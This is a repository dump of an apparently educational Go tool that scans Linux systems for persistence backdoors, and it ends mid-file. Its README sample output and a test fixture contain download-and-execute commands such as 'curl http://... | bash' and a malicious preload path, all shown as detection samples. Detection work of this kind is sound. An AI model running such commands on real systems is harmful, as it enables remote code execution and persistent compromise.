feat: add systemd persistence scanner project

17 scanner modules covering systemd, cron, shell profiles, SSH,
XDG autostart, PAM, udev, kernel modules, LD_PRELOAD, MOTD,
init.d, at jobs, logrotate hooks, systemd generators, bash
completion, network interface hooks, and sshrc.

16 detection patterns with MITRE ATT&CK mappings, baseline
diffing, JSON output, and ignore-list support.

go install: github.com/CarterPerez-dev/sentinel/cmd/sentinel@latest
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docs/
bin/
/sentinel
*.exe
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# ©AngelaMos | 2026
# .golangci.yml
version: "2"
linters:
default: none
enable:
- errcheck
- govet
- gosec
- bodyclose
- nilerr
- errorlint
- exhaustive
- gocritic
- funlen
- gocognit
- dupl
- goconst
- ineffassign
- unused
- unconvert
- unparam
- testifylint
- fatcontext
exclusions:
paths:
- vendor
- testdata
rules:
- path: _test\.go
linters:
- funlen
- dupl
- goconst
settings:
errcheck:
check-type-assertions: true
check-blank: true
funlen:
lines: 100
statements: 50
gocognit:
min-complexity: 20
govet:
enable-all: true
disable:
- fieldalignment
gosec:
excludes:
- G104
issues:
max-same-issues: 50
formatters:
enable:
- gci
- gofumpt
- golines
settings:
golines:
max-len: 80
reformat-tags: true
gci:
sections:
- standard
- default
- prefix(github.com/CarterPerez-dev)
custom-order: true
gofumpt:
extra-rules: true

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# ©AngelaMos | 2026
# Justfile
set export
set shell := ["bash", "-uc"]
project := file_name(justfile_directory())
version := `git describe --tags --always 2>/dev/null || echo "dev"`
# =============================================================================
# Default
# =============================================================================
default:
@just --list --unsorted
# =============================================================================
# Linting and Formatting
# =============================================================================
[group('lint')]
lint *ARGS:
golangci-lint run --timeout=5m {{ARGS}}
[group('lint')]
lint-fix:
golangci-lint run --timeout=5m --fix
[group('lint')]
format:
golangci-lint fmt
[group('lint')]
tidy:
go mod tidy
[group('lint')]
vet:
go vet ./...
# =============================================================================
# Testing
# =============================================================================
[group('test')]
test *ARGS:
go test -race ./... {{ARGS}}
[group('test')]
test-v *ARGS:
go test -race -v ./... {{ARGS}}
[group('test')]
cover:
go test -race -cover ./...
# =============================================================================
# CI / Quality
# =============================================================================
[group('ci')]
ci: lint test
@echo "All checks passed."
[group('ci')]
check: lint vet
# =============================================================================
# Development
# =============================================================================
[group('dev')]
run *ARGS:
go run ./cmd/sentinel {{ARGS}}
[group('dev')]
dev-scan:
go run ./cmd/sentinel scan
[group('dev')]
dev-scan-json:
go run ./cmd/sentinel scan --json
[group('dev')]
dev-testdata:
go run ./cmd/sentinel scan --root testdata
[group('dev')]
dev-baseline-save:
go run ./cmd/sentinel baseline save
[group('dev')]
dev-baseline-diff:
go run ./cmd/sentinel baseline diff
# =============================================================================
# Build (Production)
# =============================================================================
[group('prod')]
build:
go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
@echo "Built: bin/sentinel ($(du -h bin/sentinel | cut -f1))"
[group('prod')]
build-static:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
@echo "Built static: bin/sentinel ($(du -h bin/sentinel | cut -f1))"
[group('prod')]
build-debug:
go build -o bin/sentinel ./cmd/sentinel
[group('prod')]
install:
go install ./cmd/sentinel
# =============================================================================
# Utilities
# =============================================================================
[group('util')]
info:
@echo "Project: {{project}}"
@echo "Version: {{version}}"
@echo "Go: $(go version | cut -d' ' -f3)"
@echo "OS: {{os()}} ({{arch()}})"
@echo "Module: $(head -1 go.mod | cut -d' ' -f2)"
[group('util')]
clean:
-rm -rf bin/
@echo "Cleaned build artifacts."

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Also add information on how to contact you by electronic and paper mail.
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network, you should also make sure that it provides a way for users to
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```regex
███████╗███████╗███╗ ██╗████████╗
██╔════╝██╔════╝████╗ ██║╚══██╔══╝
███████╗█████╗ ██╔██╗ ██║ ██║
╚════██║██╔══╝ ██║╚██╗██║ ██║
███████║███████╗██║ ╚████║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚═╝
```
[![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Project%20%2322-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/systemd-persistence-scanner)
[![Go](https://img.shields.io/badge/Go-1.25+-00ADD8?style=flat&logo=go&logoColor=white)](https://go.dev)
[![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0)
[![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-Persistence-orange?style=flat)](https://attack.mitre.org/tactics/TA0003/)
> Linux persistence mechanism scanner. Drop a single binary, find every backdoor.
*This is a quick overview. Security theory, architecture, and full walkthroughs are in the [learn modules](#learn).*
## What It Does
- Scans 12+ persistence mechanism categories: systemd, cron, shell profiles, SSH, LD_PRELOAD, kernel modules, udev rules, init.d, XDG autostart, at jobs, MOTD scripts, and PAM modules
- Applies heuristic detection for reverse shells, download-and-execute chains, encoded payloads, alias hijacking, and temp directory abuse
- Severity scoring from info to critical with MITRE ATT&CK technique mapping on every finding
- Baseline mode saves a clean-system snapshot, then highlights only new findings on subsequent runs
- Compiles to a single static binary with zero dependencies for portable deployment
## Quick Start
```bash
go install github.com/CarterPerez-dev/sentinel/cmd/sentinel@latest
sentinel scan
```
> [!TIP]
> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands.
>
> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
## Commands
| Command | Description |
|---------|-------------|
| `sentinel scan` | Scan for all persistence mechanisms |
| `sentinel scan --json` | Output results as structured JSON |
| `sentinel scan --min-severity high` | Only show high and critical findings |
| `sentinel scan --root /mnt/target` | Scan a mounted filesystem or chroot |
| `sentinel baseline save` | Save current state as a clean baseline |
| `sentinel baseline diff` | Show only new findings since baseline |
## Example Output
```
[CRITICAL] Library in ld.so.preload
Path: /etc/ld.so.preload
Evidence: /dev/shm/.evil.so
MITRE: T1574.006
[HIGH] Suspicious cron entry: download-and-execute chain
Path: /etc/cron.d/updater
Evidence: */5 * * * * root curl http://... | bash
MITRE: T1053.003
[MEDIUM] Recently modified unit file
Path: /etc/systemd/system/backdoor.service
Evidence: Modified within the last 24 hours
MITRE: T1543.002
Summary: 1 critical 1 high 1 medium 0 low 4 info
```
## Scanners
| Scanner | MITRE Technique | What It Checks |
|---------|----------------|----------------|
| systemd | T1543.002, T1053.006 | Service/timer units, ExecStart directives, drop-in overrides |
| cron | T1053.003 | System/user crontabs, cron.d, periodic directories, anacron |
| profile | T1546.004 | Shell RC files, /etc/profile.d, bashrc/zshrc injections |
| ssh | T1098.004 | authorized_keys options, sshd_config, SSH rc scripts |
| ld_preload | T1574.006 | /etc/ld.so.preload, ld.so.conf.d, /etc/environment |
| kernel | T1547.006 | modules-load.d, modprobe.d install hooks |
| udev | T1546 | Udev rules with RUN+= directives |
| initd | T1037.004 | Init.d scripts, rc.local content |
| xdg | T1547.013 | XDG autostart .desktop files |
| atjob | T1053.001 | Pending at job spool |
| motd | T1546 | update-motd.d login scripts |
| pam | T1556.003 | PAM configs, pam_exec.so, pam_permit.so in auth |
## Learn
This project includes step-by-step learning materials covering persistence techniques, detection engineering, and implementation details.
| Module | Topic |
|--------|-------|
| [00 - Overview](learn/00-OVERVIEW.md) | Prerequisites and quick start |
| [01 - Concepts](learn/01-CONCEPTS.md) | Linux persistence and MITRE ATT&CK |
| [02 - Architecture](learn/02-ARCHITECTURE.md) | System design and data flow |
| [03 - Implementation](learn/03-IMPLEMENTATION.md) | Code walkthrough |
| [04 - Challenges](learn/04-CHALLENGES.md) | Extension ideas and exercises |
## License
AGPL 3.0

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/*
©AngelaMos | 2026
main.go
Entry point for the sentinel CLI
*/
package main
import (
"github.com/CarterPerez-dev/sentinel/internal/cli"
_ "github.com/CarterPerez-dev/sentinel/internal/scanner"
)
func main() {
cli.Execute()
}

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module github.com/CarterPerez-dev/sentinel
go 1.25.0
require (
github.com/fatih/color v1.19.0
github.com/spf13/cobra v1.10.2
)
require (
github.com/inconshreveable/mousetrap v1.1.0 // indirect
github.com/mattn/go-colorable v0.1.14 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/spf13/pflag v1.0.9 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/sys v0.42.0 // indirect
)

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github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
github.com/fatih/color v1.19.0 h1:Zp3PiM21/9Ld6FzSKyL5c/BULoe/ONr9KlbYVOfG8+w=
github.com/fatih/color v1.19.0/go.mod h1:zNk67I0ZUT1bEGsSGyCZYZNrHuTkJJB+r6Q9VuMi0LE=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
github.com/mattn/go-colorable v0.1.14 h1:9A9LHSqF/7dyVVX6g0U9cwm9pG3kP9gSzcuIPHPsaIE=
github.com/mattn/go-colorable v0.1.14/go.mod h1:6LmQG8QLFO4G5z1gPvYEzlUgJ2wF+stgPZH1UqBm1s8=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=
github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=
github.com/spf13/pflag v1.0.9 h1:9exaQaMOCwffKiiiYk6/BndUBv+iRViNW+4lEMi0PvY=
github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=

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#!/usr/bin/env bash
# ©AngelaMos | 2026
# install.sh
set -euo pipefail
RED='\033[0;31m'
GREEN='\033[0;32m'
CYAN='\033[0;36m'
DIM='\033[2m'
NC='\033[0m'
info() { printf "${CYAN}${NC} %s\n" "$1"; }
ok() { printf "${GREEN}${NC} %s\n" "$1"; }
fail() { printf "${RED}${NC} %s\n" "$1"; exit 1; }
MIN_GO="1.25"
check_go() {
if ! command -v go &>/dev/null; then
fail "Go is not installed. Get it at https://go.dev/dl/"
fi
local ver
ver=$(go version | grep -oP 'go\K[0-9]+\.[0-9]+')
if ! printf '%s\n%s\n' "$MIN_GO" "$ver" \
| sort -V | head -n1 | grep -qx "$MIN_GO"; then
fail "Go $MIN_GO+ required (found $ver)"
fi
ok "Go $ver"
}
check_just() {
if command -v just &>/dev/null; then
ok "just $(just --version 2>/dev/null | head -1)"
else
info "just not found (optional). Install: curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin"
fi
}
build() {
info "Building sentinel..."
go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
local size
size=$(du -h bin/sentinel | cut -f1)
ok "Built bin/sentinel ($size)"
}
run_tests() {
info "Running tests..."
if go test -race ./... >/dev/null 2>&1; then
ok "All tests passed"
else
fail "Tests failed. Run 'go test -v ./...' for details."
fi
}
main() {
printf "\n${CYAN}sentinel${NC} ${DIM}installer${NC}\n\n"
check_go
check_just
info "Downloading dependencies..."
go mod download
ok "Dependencies ready"
build
run_tests
printf "\n${GREEN}Done.${NC} Run ${CYAN}./bin/sentinel scan${NC} to start scanning.\n\n"
}
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/*
©AngelaMos | 2026
baseline.go
Baseline snapshot save, load, and diff operations
Saves the current scan findings as a JSON snapshot file. On
subsequent runs, loads the baseline and computes a diff showing
only new findings that were not present in the clean snapshot.
This reduces noise on systems with many legitimate persistence
entries.
*/
package baseline
import (
"encoding/json"
"fmt"
"os"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
type Snapshot struct {
Version string `json:"version"`
Hostname string `json:"hostname"`
Findings []types.Finding `json:"findings"`
}
func Save(
path string, findings []types.Finding, hostname string,
) error {
snap := Snapshot{
Version: types.Version,
Hostname: hostname,
Findings: findings,
}
data, err := json.MarshalIndent(snap, "", " ")
if err != nil {
return fmt.Errorf("marshaling baseline: %w", err)
}
if err := os.WriteFile(
path, data, 0o600,
); err != nil {
return fmt.Errorf("writing baseline: %w", err)
}
return nil
}
func Load(path string) (Snapshot, error) {
data, err := os.ReadFile(path) //nolint:gosec
if err != nil {
return Snapshot{}, fmt.Errorf(
"reading baseline: %w", err,
)
}
var snap Snapshot
if err := json.Unmarshal(data, &snap); err != nil {
return Snapshot{}, fmt.Errorf(
"parsing baseline: %w", err,
)
}
return snap, nil
}
func Diff(
baseline Snapshot, current []types.Finding,
) []types.Finding {
known := make(map[string]bool, len(baseline.Findings))
for _, f := range baseline.Findings {
known[findingKey(f)] = true
}
var newFindings []types.Finding
for _, f := range current {
if !known[findingKey(f)] {
newFindings = append(newFindings, f)
}
}
return newFindings
}
func findingKey(f types.Finding) string {
return f.Scanner + "|" + f.Path + "|" + f.Title
}

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/*
©AngelaMos | 2026
baseline_test.go
*/
package baseline
import (
"os"
"path/filepath"
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestSaveAndLoad(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "test-baseline.json")
findings := []types.Finding{
{
Scanner: "cron",
Severity: types.SeverityHigh,
Title: "test finding",
Path: "/etc/cron.d/malicious",
Evidence: "curl | bash",
MITRE: "T1053.003",
},
}
if err := Save(path, findings, "test-host"); err != nil {
t.Fatalf("Save failed: %v", err)
}
if _, err := os.Stat(path); err != nil {
t.Fatalf("baseline file not created: %v", err)
}
snap, err := Load(path)
if err != nil {
t.Fatalf("Load failed: %v", err)
}
if snap.Hostname != "test-host" {
t.Errorf(
"hostname = %q, want %q",
snap.Hostname, "test-host",
)
}
if len(snap.Findings) != 1 {
t.Fatalf(
"findings count = %d, want 1",
len(snap.Findings),
)
}
if snap.Findings[0].Title != "test finding" {
t.Errorf(
"finding title = %q, want %q",
snap.Findings[0].Title, "test finding",
)
}
}
func TestDiff(t *testing.T) {
baselineFindings := []types.Finding{
{
Scanner: "cron",
Title: "known finding",
Path: "/etc/cron.d/legit",
},
{
Scanner: "systemd",
Title: "known service",
Path: "/etc/systemd/system/app.service",
},
}
snap := Snapshot{
Version: "1.0.0",
Findings: baselineFindings,
}
current := []types.Finding{
{
Scanner: "cron",
Title: "known finding",
Path: "/etc/cron.d/legit",
},
{
Scanner: "systemd",
Title: "known service",
Path: "/etc/systemd/system/app.service",
},
{
Scanner: "cron",
Title: "new malicious entry",
Path: "/etc/cron.d/backdoor",
},
}
newFindings := Diff(snap, current)
if len(newFindings) != 1 {
t.Fatalf(
"diff count = %d, want 1",
len(newFindings),
)
}
if newFindings[0].Title != "new malicious entry" {
t.Errorf(
"new finding title = %q, want %q",
newFindings[0].Title, "new malicious entry",
)
}
}

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/*
©AngelaMos | 2026
baseline.go
Baseline subcommand for save and diff operations
The save subcommand runs a full scan and saves findings as a JSON
baseline snapshot. The diff subcommand runs a fresh scan and shows
only findings that are new since the baseline was taken.
*/
package cli
import (
"fmt"
"os"
"time"
"github.com/spf13/cobra"
"github.com/CarterPerez-dev/sentinel/internal/baseline"
"github.com/CarterPerez-dev/sentinel/internal/config"
"github.com/CarterPerez-dev/sentinel/internal/report"
"github.com/CarterPerez-dev/sentinel/internal/scanner"
"github.com/CarterPerez-dev/sentinel/internal/ui"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
var flagBaselinePath string
func init() {
baselineCmd.PersistentFlags().StringVar(
&flagBaselinePath, "file", "sentinel-baseline.json",
"path to baseline snapshot file",
)
baselineCmd.AddCommand(baselineSaveCmd)
baselineCmd.AddCommand(baselineDiffCmd)
rootCmd.AddCommand(baselineCmd)
}
var baselineCmd = &cobra.Command{
Use: "baseline",
Short: "Manage baseline snapshots",
}
var baselineSaveCmd = &cobra.Command{
Use: "save",
Short: "Save current state as baseline",
RunE: runBaselineSave,
}
var baselineDiffCmd = &cobra.Command{
Use: "diff",
Short: "Show changes since baseline",
RunE: runBaselineDiff,
}
func runBaselineSave(_ *cobra.Command, _ []string) error {
hostname, err := os.Hostname()
if err != nil {
hostname = fallbackHostname
}
var sp *ui.Spinner
if !flagJSON {
sp = ui.NewSpinner("Scanning for baseline...")
sp.Start()
}
findings := scanner.RunAll(flagRoot)
if sp != nil {
sp.Stop()
}
if err := baseline.Save(
flagBaselinePath, findings, hostname,
); err != nil {
return err
}
fmt.Printf(
" %s Baseline saved to %s (%d findings)\n\n",
ui.GreenBold(ui.Check),
ui.Cyan(flagBaselinePath),
len(findings),
)
return nil
}
func runBaselineDiff(_ *cobra.Command, _ []string) error {
snap, err := baseline.Load(flagBaselinePath)
if err != nil {
return fmt.Errorf(
"load baseline %s: %w",
flagBaselinePath, err,
)
}
hostname, err := os.Hostname()
if err != nil {
hostname = fallbackHostname
}
minSev := types.ParseSeverity(flagMinSeverity)
var sp *ui.Spinner
if !flagJSON {
sp = ui.NewSpinner("Scanning and comparing to baseline...")
sp.Start()
}
start := time.Now()
current := scanner.RunAll(flagRoot)
duration := time.Since(start)
if sp != nil {
sp.Stop()
}
ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile)
if err != nil {
return err
}
newFindings := baseline.Diff(snap, current)
newFindings = ignoreList.Filter(newFindings)
filtered := filterBySeverity(newFindings, minSev)
result := types.ScanResult{
Version: types.Version,
ScanTime: start,
Hostname: hostname,
Findings: filtered,
Summary: types.Tally(filtered),
DurationMs: duration.Milliseconds(),
}
if !flagJSON {
fmt.Printf(
" %s Baseline: %d known %s New: %d findings\n\n",
ui.CyanBold(ui.Diamond),
len(snap.Findings),
ui.Dim("|"),
len(filtered),
)
}
if flagJSON {
return report.PrintJSON(result)
}
report.PrintTerminal(result)
return nil
}

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/*
©AngelaMos | 2026
root.go
Root cobra command and global flag definitions
Defines the sentinel root command with persistent flags for JSON
output, minimum severity filtering, verbose mode, and custom scan
root. Subcommands are attached in their respective init functions.
*/
package cli
import (
"log/slog"
"os"
"github.com/spf13/cobra"
"github.com/CarterPerez-dev/sentinel/internal/ui"
)
const fallbackHostname = "unknown"
var (
flagJSON bool
flagMinSeverity string
flagVerbose bool
flagRoot string
flagIgnoreFile string
)
var rootCmd = &cobra.Command{
Use: "sentinel",
Short: "Linux persistence mechanism scanner",
Long: `sentinel scans a Linux system for persistence mechanisms
across systemd, cron, shell profiles, SSH, LD_PRELOAD,
kernel modules, udev rules, init.d, XDG autostart, at jobs,
MOTD scripts, and PAM modules.`,
PersistentPreRun: func(
cmd *cobra.Command, args []string,
) {
configureLogging()
if !flagJSON {
ui.PrintBanner()
}
},
}
func configureLogging() {
level := slog.LevelWarn
if flagVerbose {
level = slog.LevelDebug
}
handler := slog.NewTextHandler(
os.Stderr,
&slog.HandlerOptions{Level: level},
)
slog.SetDefault(slog.New(handler))
}
func init() {
rootCmd.PersistentFlags().BoolVar(
&flagJSON, "json", false,
"output results as JSON",
)
rootCmd.PersistentFlags().StringVar(
&flagMinSeverity, "min-severity", "info",
"minimum severity to report (info|low|medium|high|critical)",
)
rootCmd.PersistentFlags().BoolVar(
&flagVerbose, "verbose", false,
"enable verbose logging",
)
rootCmd.PersistentFlags().StringVar(
&flagRoot, "root", "/",
"filesystem root to scan (for testing or chroot)",
)
rootCmd.PersistentFlags().StringVar(
&flagIgnoreFile, "ignore-file", "",
"path to .sentinel-ignore.yml for suppressing findings",
)
}
func Execute() {
if err := rootCmd.Execute(); err != nil {
os.Exit(1)
}
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/*
©AngelaMos | 2026
scan.go
Scan subcommand that runs all persistence scanners
Executes every registered scanner against the target root, filters
findings by minimum severity, tallies results, and renders output
in terminal or JSON format.
*/
package cli
import (
"fmt"
"os"
"time"
"github.com/spf13/cobra"
"github.com/CarterPerez-dev/sentinel/internal/config"
"github.com/CarterPerez-dev/sentinel/internal/report"
"github.com/CarterPerez-dev/sentinel/internal/scanner"
"github.com/CarterPerez-dev/sentinel/internal/ui"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func init() {
rootCmd.AddCommand(scanCmd)
}
var scanCmd = &cobra.Command{
Use: "scan",
Short: "Scan for persistence mechanisms",
RunE: runScan,
}
func runScan(cmd *cobra.Command, _ []string) error {
minSev := types.ParseSeverity(flagMinSeverity)
hostname, err := os.Hostname()
if err != nil {
hostname = fallbackHostname
}
ignoreList, err := config.LoadIgnoreFile(flagIgnoreFile)
if err != nil {
return err
}
var sp *ui.Spinner
if !flagJSON {
sp = ui.NewSpinner("Scanning persistence mechanisms...")
sp.Start()
}
start := time.Now()
findings := scanner.RunAll(flagRoot)
duration := time.Since(start)
if sp != nil {
sp.Stop()
}
findings = ignoreList.Filter(findings)
filtered := filterBySeverity(findings, minSev)
result := types.ScanResult{
Version: types.Version,
ScanTime: start,
Hostname: hostname,
Findings: filtered,
Summary: types.Tally(filtered),
DurationMs: duration.Milliseconds(),
}
if flagJSON {
return report.PrintJSON(result)
}
scannerNames := make([]string, 0, len(scanner.All()))
for _, s := range scanner.All() {
scannerNames = append(scannerNames, s.Name())
}
fmt.Printf(
" %s Scanned %d modules across %s\n\n",
ui.GreenBold(ui.Check),
len(scannerNames),
flagRoot,
)
report.PrintTerminal(result)
return nil
}
func filterBySeverity(
findings []types.Finding, min types.Severity,
) []types.Finding {
if min == types.SeverityInfo {
return findings
}
var filtered []types.Finding
for _, f := range findings {
if f.Severity >= min {
filtered = append(filtered, f)
}
}
return filtered
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/*
©AngelaMos | 2026
config.go
Ignore-list configuration for suppressing known-good findings
Loads a YAML ignore file that specifies findings to suppress by
path, scanner name, title, or combinations thereof. Reduces noise
on systems with many legitimate persistence entries.
*/
package config
import (
"fmt"
"os"
"strings"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
type IgnoreRule struct {
Path string
Scanner string
Title string
}
type IgnoreList struct {
Rules []IgnoreRule
}
func LoadIgnoreFile(path string) (IgnoreList, error) {
if path == "" {
return IgnoreList{}, nil
}
data, err := os.ReadFile(path) //nolint:gosec
if err != nil {
return IgnoreList{}, fmt.Errorf(
"reading ignore file: %w", err,
)
}
return parseIgnoreFile(data)
}
func parseIgnoreFile(data []byte) (IgnoreList, error) {
var list IgnoreList
var current IgnoreRule
inIgnore := false
for _, rawLine := range strings.Split(string(data), "\n") {
line := strings.TrimSpace(rawLine)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
if line == "ignore:" {
inIgnore = true
continue
}
if !inIgnore {
continue
}
if strings.HasPrefix(line, "- ") {
list.Rules = appendIfSet(list.Rules, current)
current = IgnoreRule{}
line = strings.TrimPrefix(line, "- ")
} else if !isIndented(line, rawLine) {
list.Rules = appendIfSet(list.Rules, current)
break
}
parseField(&current, strings.TrimSpace(line))
}
list.Rules = appendIfSet(list.Rules, current)
return list, nil
}
func isIndented(trimmed, raw string) bool {
return strings.HasPrefix(trimmed, " ") ||
strings.HasPrefix(raw, " ")
}
func appendIfSet(
rules []IgnoreRule, r IgnoreRule,
) []IgnoreRule {
if r.Path != "" || r.Scanner != "" || r.Title != "" {
return append(rules, r)
}
return rules
}
func parseField(rule *IgnoreRule, line string) {
key, val, ok := strings.Cut(line, ":")
if !ok {
return
}
val = strings.TrimSpace(val)
switch strings.TrimSpace(key) {
case "path":
rule.Path = val
case "scanner":
rule.Scanner = val
case "title":
rule.Title = val
}
}
func (il IgnoreList) Filter(
findings []types.Finding,
) []types.Finding {
if len(il.Rules) == 0 {
return findings
}
var kept []types.Finding
for _, f := range findings {
if !il.matches(f) {
kept = append(kept, f)
}
}
return kept
}
func (il IgnoreList) matches(f types.Finding) bool {
for _, r := range il.Rules {
if r.matchesFinding(f) {
return true
}
}
return false
}
func (r IgnoreRule) matchesFinding(f types.Finding) bool {
if r.Path != "" && f.Path != r.Path {
return false
}
if r.Scanner != "" && f.Scanner != r.Scanner {
return false
}
if r.Title != "" && f.Title != r.Title {
return false
}
return true
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/*
©AngelaMos | 2026
config_test.go
*/
package config
import (
"testing"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func TestParseIgnoreFile(t *testing.T) {
data := []byte(`# Sentinel ignore file
ignore:
- path: /etc/systemd/system/docker.service
- scanner: kernel
title: Kernel module loaded at boot
- path: /etc/cron.d/certbot
`)
list, err := parseIgnoreFile(data)
if err != nil {
t.Fatalf("parseIgnoreFile: %v", err)
}
if len(list.Rules) != 3 {
t.Fatalf(
"rules count = %d, want 3",
len(list.Rules),
)
}
if list.Rules[0].Path != "/etc/systemd/system/docker.service" {
t.Errorf(
"rule[0].Path = %q",
list.Rules[0].Path,
)
}
if list.Rules[1].Scanner != "kernel" ||
list.Rules[1].Title != "Kernel module loaded at boot" {
t.Errorf(
"rule[1] = %+v",
list.Rules[1],
)
}
if list.Rules[2].Path != "/etc/cron.d/certbot" {
t.Errorf(
"rule[2].Path = %q",
list.Rules[2].Path,
)
}
}
func TestFilter_ByPath(t *testing.T) {
list := IgnoreList{
Rules: []IgnoreRule{
{Path: "/etc/systemd/system/docker.service"},
},
}
findings := []types.Finding{
{
Scanner: "systemd",
Path: "/etc/systemd/system/docker.service",
Title: "some finding",
},
{
Scanner: "systemd",
Path: "/etc/systemd/system/evil.service",
Title: "another finding",
},
}
filtered := list.Filter(findings)
if len(filtered) != 1 {
t.Fatalf(
"filtered count = %d, want 1",
len(filtered),
)
}
if filtered[0].Path != "/etc/systemd/system/evil.service" {
t.Errorf(
"remaining finding path = %q",
filtered[0].Path,
)
}
}
func TestFilter_ByScannerAndTitle(t *testing.T) {
list := IgnoreList{
Rules: []IgnoreRule{
{
Scanner: "kernel",
Title: "Kernel module loaded at boot",
},
},
}
findings := []types.Finding{
{
Scanner: "kernel",
Title: "Kernel module loaded at boot",
Path: "/etc/modules-load.d/loop.conf",
},
{
Scanner: "kernel",
Title: "Module install hook runs shell command",
Path: "/etc/modprobe.d/evil.conf",
},
}
filtered := list.Filter(findings)
if len(filtered) != 1 {
t.Fatalf(
"filtered count = %d, want 1",
len(filtered),
)
}
if filtered[0].Title != "Module install hook runs shell command" {
t.Errorf(
"remaining finding title = %q",
filtered[0].Title,
)
}
}
func TestFilter_EmptyList(t *testing.T) {
list := IgnoreList{}
findings := []types.Finding{
{Scanner: "cron", Title: "test"},
}
filtered := list.Filter(findings)
if len(filtered) != 1 {
t.Fatalf(
"empty ignore list should not filter: got %d",
len(filtered),
)
}
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/*
©AngelaMos | 2026
json.go
Structured JSON output formatter for scan results
Serializes the full ScanResult to JSON with indentation for human
readability. Outputs to stdout for piping into jq, SIEM ingestion,
or file redirection.
*/
package report
import (
"encoding/json"
"fmt"
"os"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
func PrintJSON(result types.ScanResult) error {
enc := json.NewEncoder(os.Stdout)
enc.SetIndent("", " ")
if err := enc.Encode(result); err != nil {
return fmt.Errorf("encoding json: %w", err)
}
return nil
}

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/*
©AngelaMos | 2026
terminal.go
Color-coded terminal output formatter for scan results
Renders findings grouped by severity with color-coded labels,
file paths, evidence snippets, and MITRE technique IDs. Prints
a summary banner with counts per severity level.
*/
package report
import (
"fmt"
"sort"
"github.com/CarterPerez-dev/sentinel/internal/ui"
"github.com/CarterPerez-dev/sentinel/pkg/types"
)
var severityColor = map[types.Severity]func(
a ...any,
) string{
types.SeverityCritical: ui.HiRedBold,
types.SeverityHigh: ui.RedBold,
types.SeverityMedium: ui.YellowBold,
types.SeverityLow: ui.CyanBold,
types.SeverityInfo: ui.Dim,
}
func PrintTerminal(result types.ScanResult) {
findings := result.Findings
sort.Slice(findings, func(i, j int) bool {
return findings[i].Severity > findings[j].Severity
})
if len(findings) == 0 {
fmt.Printf(
" %s No persistence indicators found.\n\n",
ui.GreenBold(ui.Check),
)
printSummary(result)
return
}
fmt.Printf(" %s\n\n", ui.Dim(ui.HRule(56)))
for _, f := range findings {
colorFn := severityColor[f.Severity]
label := colorFn(
fmt.Sprintf("[%s]", f.Severity.Label()),
)
fmt.Printf(" %s %s\n", label, f.Title)
fmt.Printf(
" %s %s\n",
ui.Dim("Path:"),
ui.Cyan(f.Path),
)
if f.Evidence != "" {
fmt.Printf(
" %s %s\n",
ui.Dim("Evidence:"),
truncateEvidence(f.Evidence),
)
}
fmt.Printf(
" %s %s\n\n",
ui.Dim("MITRE:"),
ui.Blue(f.MITRE),
)
}
printSummary(result)
}
func printSummary(result types.ScanResult) {
s := result.Summary
fmt.Printf(" %s\n", ui.Dim(ui.HRule(56)))
fmt.Printf(
" %s %s %s %s %s %s %s %s %s %s\n",
